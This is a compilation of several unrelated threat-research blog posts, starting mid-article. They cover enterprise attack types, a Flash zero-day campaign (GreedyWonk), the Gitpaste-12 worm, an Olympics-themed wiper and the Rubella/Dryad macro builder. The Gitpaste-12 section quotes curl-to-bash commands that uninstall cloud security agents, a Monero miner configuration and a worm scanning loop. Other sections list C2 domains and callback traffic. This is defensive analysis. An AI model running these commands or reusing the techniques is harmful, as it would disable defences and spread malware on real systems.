From there, that could empower cross-site scripting or cookie-stealing attacks.
Standard MITM attacks can often be prevented with robust VPN solutions.
However, security experts recommend stricter enforcement of two current protections, application layer protocol negotiation and server name indication.
This will help deal with new MITM efforts.
DDoS Attacks Internet of things (IoT) devices are now commonplace across enterprises in all industries.
So, DDoS attacks have increased in a big way.
Threat actors can ramp up attack volumes rapidly, giving companies almost no time to respond before critical systems come crashing down.
For cyber criminals, DDoS offers a low-cost, high-return attack type.
IoT devices are cheap, plentiful and many are easy to compromise thanks to minimal or non-existent factory security settings.
Companies are often willing to pay once they realize online services won’t be coming back up anytime soon unless the attackers turn down the traffic.
The result is a frightening scenario for enterprises.
Sudden, high-volume attacks from disparate sources could knock critical services offline for days or weeks.
That, in turn, leads to major revenue and reputation loss.
When it comes to defending against DDoS attacks, two components are critical.
First is preparation.
These attacks are a matter of when, not if.
Companies need incident response plans in place that find potential weak points, critical control mechanisms and simple ways of reducing their impact — such as blocking traffic from specific locations.
It’s also a good idea to outsource DDoS protection where possible.
Using a trusted provider with cloud experience and a reputation for reliable work and real-time detection can give you more lead time to mitigate DDoS impacts and other problems.
Social Engineering Efforts Despite how simple it is, social engineering efforts, such as phishing, remain popular.
Why?
Because they continue to see success.
By collecting both publicly available and private corporate data, attackers can build social profiles that appear real, compromise corporate accounts and gain access to high-level systems and services.
Consider the Colonial Pipeline attack.
While the initial effort was ransomware, cyber criminals have leveraged the desire for improved enterprise defenses to craft a targeted phishing campaign.
Companies have been receiving emails that discuss how severe this attack was and then encourage them to download ‘ransomware system updates’ — which are really links to malware.
Similar campaigns have been carried out around COVID-19 vaccines, natural disaster relief and nearly every other news-worthy event in the last five years.
For enterprises, the prevalence of phishing attacks is the most frightening thing about them.
While on their own they represent minimal risk, increasing volume and velocity means that one of these efforts is bound to break through.
Even worse?
Staff who fall for these attacks may not be aware they’ve done it.
Or, they may be worried about the consequences if they come clean about their mistake.
Mitigating the risk of social engineering efforts relies on education.
That’s because this is an inherently human problem.
Social attacks are designed to take advantage of our natural, social tendencies.
By educating staff about common phishing techniques, appropriate threat responses and making it clear that risk reporting — either of a potential phish or already clicked links — will be met with immediate action, companies can create a culture that prioritizes safety over speed.
Watching for Threats Beyond Ransomware While ransomware remains a substantive risk, other threats are similarly frightening.
But at the same time, compromised third-party software, MITM attacks, DDoS attacks and social engineering can be mitigated with robust security management.
Less than a week after uncovering Operation SnowMan , the FireEye Dynamic Threat Intelligence cloud has identified another targeted attack campaign — this one exploiting a zero-day vulnerability in Flash.
We are collaborating with Adobe security on this issue.
Adobe has assigned the CVE identifier CVE-2014-0502 to this vulnerability and released a security bulletin .
As of this blog post, visitors to at least three nonprofit institutions — two of which focus on matters of national security and public policy — were redirected to an exploit server hosting the zero-day exploit.
We’re dubbing this attack “Operation GreedyWonk.”
We believe GreedyWonk may be related to a May 2012 campaign outlined by ShadowServer, based on consistencies in tradecraft (particularly with the websites chosen for this strategic Web compromise), attack infrastructure, and malware configuration properties.
The group behind this campaign appears to have sufficient resources (such as access to zero-day exploits) and a determination to infect visitors to foreign and public policy websites.
The threat actors likely sought to infect users to these sites for follow-on data theft, including information related to defense and public policy matters.
Discovery On Feb. 13, FireEye identified a zero-day Adobe Flash exploit that affects the latest version of the Flash Player (12.0.0.4 and 11.7.700.261).
Visitors to the Peter G. Peterson Institute for International Economics (www.piie[.
]com) were redirected to an exploit server hosting this Flash zero-day through a hidden iframe.
We subsequently found that the American Research Center in Egypt (www.arce[.
]org) and the Smith Richardson Foundation (www.srf[.
]org) also redirected visitors the exploit server.
All three organizations are nonprofit institutions; the Peterson Institute and Smith Richardson Foundation engage in national security and public policy issues.
Mitigation To bypass Windows’ Address Space Layout Randomization (ASLR) protections, this exploit targets computers with any of the following configurations: Windows XP Windows 7 and Java 1.6 Windows 7 and an out-of-date version of Microsoft Office 2007 or 2010 Users can mitigate the threat by upgrading from Windows XP and updating Java and Office.
If you have Java 1.6, update Java to the latest 1.7 version.
If you are using an out-of-date Microsoft Office 2007 or 2010, update Microsoft Office to the latest version.
These mitigations do not patch the underlying vulnerability.
But by breaking the exploit’s ASLR-bypass measures, they do prevent the current in-the-wild exploit from functioning.
Vulnerability analysis GreedyWonk targets a previously unknown vulnerability in Adobe Flash.
The vulnerability permits an attacker to overwrite the vftable pointer of a Flash object to redirect code execution.
ASLR bypass The attack uses only known ASLR bypasses.
Details of these techniques are available from our previous blog post on the subject (in the “Non-ASLR modules” section).
For Windows XP, the attackers build a return-oriented programming (ROP) chain of MSVCRT (Visual C runtime) gadgets with hard-coded base addresses for English (“en”) and Chinese (“zh-cn” and “zh-tw”).
On Windows 7, the attackers use a hard-coded ROP chain for MSVCR71.dll (Visual C++ runtime) if the user has Java 1.6, and a hard-coded ROP chain for HXDS.dll (Help Data Services Module) if the user has Microsoft Office 2007 or 2010.
Java 1.6 is no longer supported and does not receive security updates.
In addition to the MSVCR71.dll ASLR bypass, a variety of widely exploited code-execution vulnerabilities exist in Java 1.6.
That’s why FireEye strongly recommends upgrading to Java 1.7.
The Microsoft Office HXDS.dll ASLR bypass was patched at the end of 2013.
More details about this bypass are addressed by Microsoft’s Security Bulletin MS13-106 and an accompanying blog entry .
FireEye strongly recommends updating Microsoft Office 2007 and 2010 with the latest patches.
Shellcode analysis The shellcode is downloaded in ActionScript as a GIF image.
Once ROP marks the shellcode as executable using Windows’ VirtualProtect function, it downloads an executable via the InternetOpenURLA and InternetReadFile functions.
Then it writes the file to disk with CreateFileA and WriteFile functions.
Finally, it runs the file using the WinExec function.
PlugX/Kaba payload analysis Once the exploit succeeds, a PlugX/Kaba remote access tool (RAT) payload with the MD5 hash 507aed81e3106da8c50efb3a045c5e2b is installed on the compromised endpoint.
This PlugX sample was compiled on Feb. 12, one day before we first observed it, indicating that it was deployed specifically for this campaign.
This PlugX payload was configured with the following command-and-control (CnC) domains: java.ns1[.
]name adservice.no-ip[.
]org wmi.ns01[.
]us Sample callback traffic was as follows:
POST /D28419029043311C6F8BF9F5
HTTP/1.1 Accept: */* HHV1: 0 HHV2: 0
HHV3: 61456 HHV4: 1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; InfoPath.2; .NET
CLR 2.0.50727; SV1)
Host:
java.ns1.name Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache Campaign analysis Both java.ns1[.
]name and adservice.no-ip[.
]org resolved to 74.126.177.68 on Feb. 18, 2014.
Passive DNS analysis reveals that the domain wmi.ns01.us previously resolved to 103.246.246.103 between July 4, 2013 and July 15, 2013 and 192.74.246.219 on Feb. 17, 2014.
java.ns1[.
]name also resolved to 192.74.246.219 on February 18.
Domain First Seen Last Seen IP Address adservice.no-ip[.
]org adservice.no-ip[.
]org 2014-02-18 2014-02-18 2014-02-19 2014-02-19 74.126.177.68 74.126.177.68 java.ns1[.
]name java.ns1[.
]name 2014-02-18 2014-02-18 2014-02-19 2014-02-19 74.126.177.68 74.126.177.68 java.ns1[.
]name java.ns1[.
]name 2014-02-18 2014-02-18 2014-02-18 2014-02-18 192.74.246.219 192.74.246.219 wmi.ns01[.
]us wmi.ns01[.
]us 2014-02-17 2014-02-17 2014-02-17 2014-02-17 192.74.246.219 192.74.246.219 proxy.ddns[.
]info proxy.ddns[.
]info 2013-05-02 2013-05-02 2014-02-18 2014-02-18 103.246.246.103 103.246.246.103 updatedns.ns02[.
]us updatedns.ns02[.
]us 2013-09-06 2013-09-06 2013-09-06 2013-09-06 103.246.246.103 103.246.246.103 updatedns.ns01[.
]us updatedns.ns01[.
]us 2013-09-06 2013-09-06 2013-09-06 2013-09-06 103.246.246.103 103.246.246.103 wmi.ns01[.
]us wmi.ns01[.
]us 2013-07-04 2013-07-04 2013-07-15 2013-07-15 103.246.246.103 103.246.246.103 MD5 Family Compile Time Alternate C2s 7995a9a6a889b914e208eb924e459ebc 7995a9a6a889b914e208eb924e459ebc PlugX PlugX 2012-06-09 2012-06-09 fuckchina.govnb[.
]com fuckchina.govnb[.
]com bf60b8d26bc0c94dda2e3471de6ec977 bf60b8d26bc0c94dda2e3471de6ec977 PlugX PlugX 2010-03-15 2010-03-15 microsafes.no-ip[.
]org microsafes.no-ip[.
]org fd69793bd63c44bbb22f9c4d46873252 fd69793bd63c44bbb22f9c4d46873252
Poison Ivy Poison Ivy 2013-03-07 2013-03-07 N/A N/A 88b375e3b5c50a3e6c881bc96c926928 88b375e3b5c50a3e6c881bc96c926928 Poison Ivy Poison Ivy 2012-06-11 2012-06-11
N/A N/A cd07a9e49b1f909e1bd9e39a7a6e56b4 cd07a9e49b1f909e1bd9e39a7a6e56b4 Poison Ivy Poison Ivy 2012-06-11 2012-06-11 N/A N/A The Poison Ivy variants that connected to the domain wmi.ns01[.
]us had the following unique configuration properties: Domain First Seen Last Seen IP Address fuckchina.govnb[.
]com fuckchina.govnb[.
]com 2013-12-11 2013-12-11 2013-12-11 2013-12-11 204.200.222.136 204.200.222.136 microsafes.no-ip[.
]org microsafes.no-ip[.
]org 2014-02-12 2014-02-12 2014-02-12 2014-02-12
74.126.177.70 74.126.177.70 microsafes.no-ip[.
]org microsafes.no-ip[.
]org 2013-12-04 2013-12-04 2013-12-04 2013-12-04 74.126.177.241 74.126.177.241 We found a related Poison Ivy sample (MD5 8936c87a08ffa56d19fdb87588e35952) with the same “java7” password, which was dropped by an Adobe Flash exploit (CVE-2012-0779).
In this previous incident, visitors to the Center for Defense Information website (www.cdi[.
]org — also an organization involved in defense matters — were redirected to an exploit server at 159.54.62.92.
This exploit server hosted a Flash exploit file named BrightBalls.swf (MD5 1ec5141051776ec9092db92050192758).
This exploit, in turn, dropped the Poison Ivy variant.
In addition to using the same password “java7,” this variant was configured with the mutex with the similar pattern of “YFds*&^ff” and connected to a CnC server at windows.ddns[.
]us.
Using passive DNS analysis, we see the domains windows.ddns[.
]us and wmi.ns01[.
]us both resolved to 76.73.80.188 in mid-2012.
Domain First Seen Last Seen IP Address wmi.ns01.us
wmi.ns01.us 2012-07-07 2012-07-07 2012-09-19 2012-09-19
76.73.80.188 76.73.80.188 windows.ddns.us windows.ddns.us 2012-05-23 2012-05-23 2012-06-10 2012-06-10 76.73.80.188 76.73.80.188
During another earlier compromise of the same www.cdi.org website, visitors were redirected to a Java exploit test.jar (MD5 7d810e3564c4eb95bcb3d11ce191208e).
This jar file exploited CVE-2012-0507 and dropped a Poison Ivy payload with the hash (MD5 52aa791a524b61b129344f10b4712f52).
This Poison Ivy variant connected to a CnC server at ids.ns01[.
]us.
The domain ids.ns01[.
]us also overlaps with the domain wmi.ns01[.
]us on the IP 194.183.224.75.
Domain First Seen Last Seen IP Address wmi.ns01[.
]us wmi.ns01[.
]us 2012-07-03 2012-07-03 2012-07-04 2012-07-04 194.183.224.75 194.183.224.75 ids.ns01[.
]us ids.ns01[.
]us 2012-04-23 2012-04-23 2012-05-18 2012-05-18 194.183.224.75 194.183.224.75 The Poison Ivy sample referenced above (MD5 fd69793bd63c44bbb22f9c4d46873252) was delivered via an exploit chain that began with a redirect from the Center for European Policy Studies (www.ceps[.
]be).
In this case, visitors were redirected from www.ceps[.
]be to a Java exploit hosted on shop.fujifilm[.
]be.
In what is certainly not a coincidence, we also observed www.arce[.
]org (one of the sites redirecting to the current Flash exploit) also redirect visitors to the Java exploit on shop.fujifilm[.
]be in 2013.
Conclusion This threat actor clearly seeks out and compromises websites of organizations related to international security policy, defense topics, and other non-profit sociocultural issues.
The actor either maintains persistence on these sites for extended periods of time or is able to re-compromise them periodically.
This actor also has early access to a number of zero-day exploits, including Flash and Java, and deploys a variety of malware families on compromised systems.
Based on these and other observations, we conclude that this actor has the tradecraft abilities and resources to remain a credible threat in at least the mid-term.
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Gitpaste-12 is a new worm recently discovered by Juniper Threat Labs, which uses GitHub and Pastebin for housing component code and has at least 12 different attack modules available.
There is evidence of test code for possible future modules, indicating ongoing development for this malware.
For now, however, targets are Linux based x86 servers, as well as Linux ARM and MIPS based IoT devices.
This malware has been dubbed Gitpaste-12 because of the usage of GitHub, Pastebin and 12 ways to compromise the system.
The first GitPaste-12 first attacks were detected by Juniper Threat Labs on October 15, 2020.
We’ve reported both the Pastebin URL and the git repo in question and the git repo was closed on October 30, 2020.
This should stop the proliferation of this botnet.
The GitHub repository used at the time of discovery was as follows: https://github[.
]com/
cnmnmsl-001/- First commit Thu Jul 9 21:07:06 2020 Last commit Oct 27, 2020 Anatomy of Gitpaste-12
The first phase of the attack is the initial system compromise (note the details of compromises used by this worm will be discussed later in this piece).
This worm has 12 known attack modules and more under development.
The worm will attempt to use known exploits to compromise systems and may also attempt to brute force passwords.
Immediately after compromising a system, the malware sets up a cron job it downloads from Pastebin, which in turn calls the same script and executes it again each minute.
This is presumably one mechanism by which updates to the cron jobs can be pushed to the botnet.
The main shell script uploaded during the attack to the victim machine starts to download and execute other components of Gitpaste-12.
First, it downloads and sets up cron job, which periodically downloads and executes script from Pastebin:
Next, it downloads from GitHub ( https://raw.githubusercontent[.
]com/cnmnmsl-001/-/master/shadu1 ) and executes it.
The malware begins by preparing the environment.
This means stripping the system of its defenses, including firewall rules, selinux, apparmor, as well as common attack prevention and monitoring software.
The shadu1 script contains comments in the Chinese language and has multiple commands available to attackers to disable different security capabilities, as discussed above.
The following example has some commands that disable cloud security agents, which clearly indicates the threat actor intends to target public cloud computing infrastructure provided by Alibaba Cloud and Tencent.
Examples of these commands include: curl http://update.aegis.aliyun.com/download/uninstall.sh | bash\r\ncurl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash\r\n/usr/local/qcloud/stargate/admin/uninstall.sh\r\n/usr/local/qcloud/YunJing/uninst.sh\r\n/usr/local/qcloud/monitor/barad/admin/
uninstall.sh
Another capability is demonstrated in the ability to run miner for monero cryptocurrency with the following config: { “background”: true, “log-file”: null, “access-log-file”: null, “retries”: 50, “retry-pause”: 5, “donate-level”: 2, “coin”: “xmr”, “custom-diff”: 0, “syslog”: false, “verbose”: false, “colors”: true, “workers”: true, “pools”: [ { “url”: “donate.v2.xmrig.com:5555”, “user”: “41qALJpqLhUNCHZTMSMQyf4LQotae9MZnb4u53JzqvHEWyc2i8PEFUCZ4TGL9AGU34ihPU8QGbRzc4FB2nHMsVeMHaYkxus”, “pass”: “x” } ], “bind”: [ “0.0.0.0:12388” ], “api”: { “port”: 0, “access-token”: null, “worker-id”: null }} The Gitpaste-12 malware contains the library hide.so and is loaded as LD_PRELOAD.
Hide.so updates the crontab file to download and execute https://pastebin[.
]com/raw/Tg5FQHhf.
It also prevents administrators from collecting information about running processes by intercepting “readdir” system calls and skip directories for processes like tcpdump, sudo, openssl, etc.
in “/proc”.
The “/proc” directory in Linux contains information about running processes.
It is used, for example, by the “ps” command to show information about running processes.
But unfortunately for this threat actor, this implementation does not do what they expect it to do.
Worming Capability The Gitpaste-12 malware also contains a script that launches attacks against other machines, in an attempt to replicate and spread.
It chooses a random /8
CIDR for attack and will try all addresses within that range, as demonstrated by this call: while true;do awk -va=\\$((\\$RANDOM%128))
‘BEGIN{for(b=0;256>b;b++)
for(c=0;256>c;c++) for(d=0;256
>d;d++) system(\\”./sh \\”a\\”.\\”d\\”.\\”c\\”.\\”b\\”
And here we can see the worm attempting to spread: Another version of the script also opens ports 30004 and 30005 for reverse shell commands: Gitpaste-12 Exploits Gitpaste-12 uses 11 vulnerabilities and a telnet brute forcer to spread.
Known vulnerabilities include: CVE-2017-14135 Webadmin plugin for opendreambox CVE-2020-24217 HiSilicon based IPTV/H.264/H.265 video encoders CVE-2017-5638 Apache Struts CVE-2020-10987 Tenda router CVE-2014-8361 Miniigd SOAP service in Realtek SDK CVE-2020-15893 UPnP in dlink routers CVE-2013-5948
Asus routers EDB-ID: 48225
Netlink GPON Router EDB-ID: 40500 AVTECH IP Camera CVE-2019-10758 Mongo db CVE-2017-17215 (Huawei router)
Conclusion No malware is good to have, but worms are particularly annoying.
Their ability to spread in an automated fashion can lead to lateral spread within an organization or to your hosts attempting to infect other networks across the internet, resulting in poor reputation for your organization.
Juniper Connected Security customers using SRX IDP and Juniper ATP Cloud are protected against Gitpaste-12.
IOCs Some compromised systems have TCP ports 30004 and 30005 open for shell commands.
Miner: e67f78c479857ed8c562e576dcc9a8471c5f1ab4c00bb557b1b9c2d9284b8af9 hide.so: ed4868ba445469abfa3cfc6c70e8fdd36a4345c21a3f451c7b65d6041fb8492b
Miner config: bd5e9fd8215f80ca49c142383ba7dbf7e24aaf895ae25af96bdab89c0bdcc3f1 Shell script: 5d1705f02cde12c27b85a0104cd76a39994733a75fa6e1e5b014565ad63e7bc3
FortiGuard Labs Threat Research Report As society becomes increasingly reliant on technology, and as the world is more connected than ever, attacks by threat actors are not only more prevalent but also more disruptive.
Because of the variety of agendas held by different malicious entities including—cybercriminals, hacktivists, nation states, etc.—attacks and disruptions targeted at high profile events are easy targets for sowing chaos, distributing malware, capturing or exfiltrating data, or even shutting down an event altogether.
But regardless of the purpose, mass disruption and fear almost always occurs whether that was the intended goal of the attackers or not.
In that context, FortiGuard Labs has observed new threat samples targeting the 2021 Tokyo Olympic games.
It includes a wiper component, which, if successful, could cause a disruption to targeted machines.
Background The most recent attack targeting the Olympics was documented during the 2018 Winter Games.
The lure was a malicious Word document titled, \" Russian figure skater won the PyeongChang Winter Olympics in South Korea.doc.\"
Once the user opened the document, the sample called and dropped a backdoor component, called Icefog.
First discovered in 2013, the Icefog backdoor was used to attack sectors in the APAC region, with a focus on Japan and South Korea.
The threat actor group responsible for Icefog is very methodical.
Targets are carefully chosen, and the group seems to know what they are after beforehand.
Icefog leveraged CVE-2012-0158—a older vulnerability in Windows common controls—relying on the fact that many system administrators, especially those in organizations with a large number of computers (governments, NGOs, companies, various organizations, etc.
), often find patching cumbersome.
Because of this, older exploits such as this are often a successfully exploited vector, even though this particular vulnerability was over 6 years old at the time of the attack.
Fast forward to today, and in the wee hours of the Tokyo Olympic Games an interesting Wiper malware surfaced that reminded us of the same destructive malware that targeted the Pyeongchang Winter Games.
This one is called “Olympic Destroyer.”
Its file name is “【至急】東京オリンピック開催に伴うサイバー攻撃等発生に関する被害報告について.exe” (English translation: “(Urgent) Damage report in relation with cyber attacks targeting the Tokyo Olympics Games.exe”.
Although this particular malware is listed in some OSINT reports as potentially related to the Olympic Destroyer sample, we have not observed this to be the case.
We also do not have any information on the delivery mechanism or methods used by the attacker, nor its intended targets.
However, given its ties to the Olympics, and the relative short time frame for exploitation, we feel it is important that we share what we know so far about this new wiper malware.
Note :
This is an evolving situation, and we will update this blog with relevant information when available.
For a historical summary of attacks targeting the Olympic Games, please visit the Cyber Threat Alliance whitepaper, for which FortiGuard Labs was a contributing author: UPDATING THE 2020 SUMMER OLYMPICS THREAT ASSESSMENT Q.
When was this malware found?
The malware was uploaded to a publicly available file repository on July 20 th , 2021.
A related file was subsequently found to have been uploaded to the same repository on July 17 th , 2021.
Both files have a PDF icon.
Q.
Are Fortinet customers protected?
Yes, FortiGuard Labs has the following AV coverage in place for the malware: W32/KillFiles.
NKP!tr.ransom All known IOCs are blocked by FortiEDR ’s advanced real-time protection and have already been added to our cloud intelligence to prevent further execution on customer systems.
All network IOC’s are blocked by the WebFiltering client.
Q.
How are the two files related?
Those files do not work in tangent with each other.
The malware uploaded on July 20 th has file deletion capability.
The July 17 th sample includes everything but the destruction feature.
Q.
What does the malware do?
The destroyer malware searches for and deletes files with the following file extensions in the compromised machine.
.doc
.docm .docx .dot
.dotm .dotx .pdf .csv .xls
.xlsx .xlsm .ppt
.pptx
.pptm .jtdc .jttc .jtd .jtt
.txt .exe .log
The malware also silently accesses a benign adult site.
Lastly, the threat deletes itself when all actions are completed.
Q.
Does the malware have worm capability?
No, the malware does not have any propagation mechanism.
Q.
Which organization did the malware target?
Currently, there is no information available pertaining to the targets or victims.
Q: Is there any similarity to Olympic Destroyer?
No, this malware and Olympic Destroyer do not have any similarity in code.
Q.
Is there any nation state involvement?
At this time, there is insufficient evidence to support the involvement of any nation state.
Based on the relative lack of sophistication of the code, however, it seems unlikely that a nation state is behind the malware.
Q: Is there anything note-worthy about the malware?
The malware has one interesting trick up its sleeve to deter researchers—it checks to see whether its own code has been modified.
For example, the non-wiper (July 17 th ) sample includes the following code.
Essentially, what this means is that for certain functions, such as Enum_Procs, Check_Debuggers, and Check_VMX (seen in the above screenshot), the malware checks the first 5 bytes to see if it contains the “0xCC” opcode.
This x86 assembly instruction stands for INT3, which tells debuggers to temporarily stop a running program.
This method works as another anti-debug check because it detects to see if this function has been disabled.
The wiper (July 20 th ) version of this malware goes a step further.
Aside from checking for “0xCC”, it also checks for others such as “0xEB” (call), “0xE8” (jmp), and “0xE9” (jmp).
These instructions divert program flow away from the intended flow created by the original programmer.
One reason to divert program flow is to hook and monitor Windows APIs.
An API monitor can report what a program is doing while it is running, saving researchers a lot of reverse engineering time and effort.
However, if any of this code has been modified to enable monitoring, the wiper exits without performing any malicious activities.
This is yet another anti-analysis check to avoid behavioral monitoring.
More information about diverting program flow can be found on the Microsoft Detours website.
As this is an ongoing event, FortiGuard Labs is monitoring the situation and will provide relevant updates for significant findings as they are uncovered.
MITRE Classifications Defensive Evasion T1480:
Execution Guardrails T1070.004: File Deletion T1027.002:
Software Packing T1497: Virtualization/Sandbox Evasion T1497.001:
System Checks T1497.003: Time Based Evasion Discovery T1083: File and Directory Discovery T1057: Process Discovery T1518.001: Security Software Discovery T1497: Virtualization/Sandbox Evasion T1497.001: System Checks T1497.003: Time Based Evasion Impact T1485: Data Destruction IOCs Sample SHA-256: fb80dab592c5b2a1dcaaf69981c6d4ee7dbf6c1f25247e2ab648d4d0dc115a97
c58940e47f74769b425de431fd74357c8de0cf9f979d82d37cdcf42fcaaeac32 Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Learn more about Fortinet’s free cybersecurity training , an initiative of Fortinet’s Training Advancement Agenda (TAA), or about the Fortinet Network Security Expert program , Security Academy program , and Veterans program .
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By John Fokker and Thomas Roccia on Jul 16, 2019 Everyday thousands of people receive emails with malicious attachments in their email inbox.
Disguised as a missed payment or an invoice, a cybercriminal sender tries to entice a victim to open the document and enable the embedded macro.
This macro then proceeds to pull in a whole array of nastiness and infect a victim’s machine.
Given the high success rate, malicious Office documents remain a preferred weapon in a cyber criminal’s arsenal.
To take advantage of this demand and generate revenue, some criminals decided to create off-the-shelf toolkits for building malicious Office documents.
These toolkits are mostly offered for sale on underground cybercriminal forums.
Announced today, the Dutch National High-Tech Crime Unit (NHTCU) arrested an individual suspected of building and selling such a criminal toolkit named the Rubella Macro Builder.
McAfee Advanced Threat Research spotted the Rubella toolkit in the wild some time ago and was able to provide NHTCU with insights that proved crucial in its investigation.
In the following blog we will explain some of the details we found that helped unmask the suspected actor behind the Rubella Macro Builder.
What is an Office Macro Builder?
An Office Macro Builder is a toolkit designed to weaponize an Office document so it can deliver a malicious payload by the use an obfuscated macro code that purposely tries to bypass endpoint security defenses.
By using a toolkit dedicated to this purpose, an actor can push out higher quantities of malicious documents and successfully outsource the first stage evasion and delivery process to a specialized third party.
Below is an overview with the general workings of an Office Macro Builder.
The Defense evasion shown here is specific to Rubella Office Macro Builder.
Additional techniques can be found in other builders.
Dutch Language OpSec fail….
Rubella Macro Builder is such a toolkit and was offered by an actor by the same nickname “Rubella”.
The toolkit was marketed with colorful banners on different underground forums.
For the price of 500 US Dollars per month you could use his toolkit to weaponize Office documents that bypass end-point security systems and deliver a malicious payload or run a PowerShell Code of your choice.
Rubella advertisement banner In one of Rubella’s forum postings the actor was detailing the toolkit and that it managed to bypass the Windows Anti Malware Scan Interface (AMSI) present in Windows 10.
To prove this success, the post contained a link to a screenshot.
Being a Dutch researcher, this screenshot immediately stood out because of the Dutch version of Microsoft Word that was used.
Dutch is a very uncommon language, only a small percentage of the world’s population speaks it, let alone an even smaller percentage of cybercriminals who use it.
The linked screenshot with the Dutch version of Microsoft Word.
Interestingly enough we reported last year on the individuals behind Coinvault ransomware.
One of the reasons they got caught was the use of flawless Dutch in their code.
With this in the back of our minds we decided to go deeper down the rabbit hole.
Forum Research We looked further into the large amount of posts by Rubella to learn more about the person behind the builder.
The actor Rubella was actually promoting a variety of different, some self-written, products and services, ranging from (stolen) credit card data, a crypto wallet stealer and a malicious loader software to a newly pitched product called Tantalus ransomware-as-a-service.
During our research we were able to link different nicknames used by the actor on several forums across a timespan of many years.
Piecing it all together, Rubella showed a classic growth pattern of an aspiring cybercriminal, started by gaining technical security knowledge on beginner forums with low op-sec and gradually moved to some of the bigger, exclusive forums to offer products and services.
PDB path Breitling One of the posts Rubella placed on a popular hacker forum was promoting a piece of free software the actor coded to spoof email.
The posting contained a link to VirusTotal and included a SHA-256 hash of the software.
This gained our interest since it provided a possibility to link the adversary to the capability.
Email spoofer posting including the VirusTotal link Closer examination of the piece of software on VirusTotal showed that the mail Spoofer contained a debug or PDB path “C:\\Users\\Breitling”.
Even though the username Breitling isn’t very revealing about an actual person, leaving such a specific PDB path within malware is a classic mistake.
By pivoting on the specific PDB path we found additional samples on VirusTotal, including a file that was named RubellaBuilder.exe, which was a version of the Macro builder that Rubella was offering.
Later in the blog post we will take a closer look at the builder itself.
Finding additional samples with the Breitling PDB path Since Breitling was most likely the username used on the development machine, we were wondering if we could find Office documents that were crafted on the same machine and thus also containing the author name Breitling.
We found an Office document with Breitling as author and the document happened to be created with a Dutch version of Microsoft Word.
The Word document containing the author name Breitling.
Closer inspection of the content of the Word document revealed that it also contained a string with the familiar Jabber account of Rubella ; Rubella(@)exploit.im.
The Malicious document containing the string with the actor’s jabber account.
Circling back to the forums we found an older posting under one of the nicknames we could link to Rubella.
In this posting the actor is asking for advice on how to add a registry key using C#.
They placed another screenshot to show the community what they were doing.
This behavior clearly shows a lack of skill but at the same time his thirst for knowledge.
Older posting where the actor asks for help.
A closer look at the screenshot revealed the same PDB path C:\\Users\\Breitling\\.
Screenshot with the Breitling PDB path Chatting with Rubella Since Rubella was quite extroverted on the underground forums and had stated Jabber contact details in advertisements we decided to carefully initiate contact with him in the hope that we would get access to some more information.
About a week after we added Rubella to our Jabber contact list, we received a careful “Hi.”
We started talking and posing as a potential buyer, carefully mentioning our interest the Rubella Macro Builder.
During this chat Rubella was quite responsive and as a real businessperson, mentioned that he was offering a new “more exclusive” Macro Builder named Dryad.
Rubella proceeded to share a screenshot of Dryad with us.
Screenshot of Dryad shared by Rubella Eventually we ended our conversation in a friendly manner and told Rubella we would be in touch if we remained interested.
Dryad Macro Builder Based on the information provided from the chat with Rubella we performed a quick search for Dryad Macro Builder.
We eventually found a sample of the Dryad Macro Builder and decided to further analyze this sample and compare it for overlap with the Rubella Macro Builder.
PE Summary
We noticed that the program was coded in .NET
Assembly which is usually a preferred language for less skilled malware coders.
Dynamic Analysis When we ran the application, it asked us to enter a login and password in order to run.
We also noticed a number-generated HWID (Hardware-ID) that was always the same when running the app.
The HWID number is a unique identifier specific to the machine it was running on and was used to register the app.
When trying to enter a random name we detected a remote connection to the website ‘hxxps://tailoredtaboo.com/auth/check.php’ to verify the license.
The request is made with the following parameters ‘hwid=<HWID>&username=<username>&password=<password>’.
Once the app is running and registered it shows the following interface.
In this interface it is possible to see the function proposed by the app and it was similar to the screenshot that was shared during our chat.
Basically, the tool allows the following: Download and execute a malicious executable from an URL Execute a custom command Type of payload can be exe, jar, vbs, pif, scr Modify the dropped filename Load a stub for increase obfuscation Generate a Word or Excel document It contains an Anti
-virus Evasion tab: Use encryption and modify the encryption key Add junk code Add loop code It also contains a tab which is still in development: Create Jscript or VBscript Download and execute Payload URL Obfuscation with base64 and AMSI bypass which are not yet developed.
Reverse Engineering
The sample is coded in .Net
without any obfuscation.
We can see in the following screenshot the structure of the file.
Additionally, it uses the Bunifu framework for the graphic interface.
( https://bunifuframework.com/ )
Main function The main function launches the interface with the pre-configuration options.
We can see here the link to putty.exe (also visible in the screenshots) for the payload that needs to be changed by the user.
Instead of running an executable, it is also possible to run a command.
By default, the path for the stub is the following: We can clearly see here a link with Rubella.
Licensing function To use the program, it requires a license, that the user has to enter from the login form.
The following function shows the login form.
To validate the license the program will perform some check and combine a Hardware ID, a username and a password.
The following function generates the hardware id.
It gets information from ‘Win32_Processor class’ to generate the ID.
It collects information from: UniqueId: Globally unique identifier for the processor.
This identifier may only be unique within a processor family.
ProcessorId:
Processor information that describes the processor features.
Name:
This value comes from the Processor Version member of the Processor Information structure in the SMBIOS information.
Manufacturer:
This value comes from the Processor Manufacturer member of the Processor Information structure.
MaxClockSpeed:
Maximum speed of the processor, in MHz.
Then it will collect information from the ‘Win32_BIOS class’ .
Manufacturer:
This value comes from the Vendor member of the BIOS Information structure.
SMBIOSVersion:
This value comes from the BIOS Version member of the BIOS Information structure IdentificationCode:
Manufacturer’s identifier for this software element.
SerialNumber:
Assigned serial number of the software element.
ReleaseDate:
Release date of the Windows BIOS in the Coordinated Universal Time (UTC) format of YYYYMMDDHHMMSS.MMMMMM(+-)OOO.
Version: Version of the BIOS.
This string is created by the BIOS manufacturer.
Then it will collect information from the ‘ Win32_DiskDrive class ’.
Model:
Manufacturer’s model number of the disk drive.
Manufacturer: Name of the disk drive manufacturer.
Signature: Disk identification.
This property can be used to identify a shared resource.
TotalHead:
Total number of heads on the disk drive.
Then it will collect information from the ‘ Win32_BaseBoard class’ .
Model: Name by which the physical element is known.
Manufacturer: Name of the organization responsible for producing the physical element.
Name, SerialNumber Then it will collect information from the ‘ Win32_VideoController class’ .
DriverVersion Name With all that hardware information collected it will generate a hash that will be the unique identifier.
This hash, the username and password will be sent to the server to verify if the license is valid.
In the source code we noticed the tailoredtaboo.com domain again.
Generate Macro To generate a macro the builder is using several parts.
The format function shows how each file structure is generated.
The structure is the following: To save the macro in the malicious doc it uses the function ‘SaveMacro’:
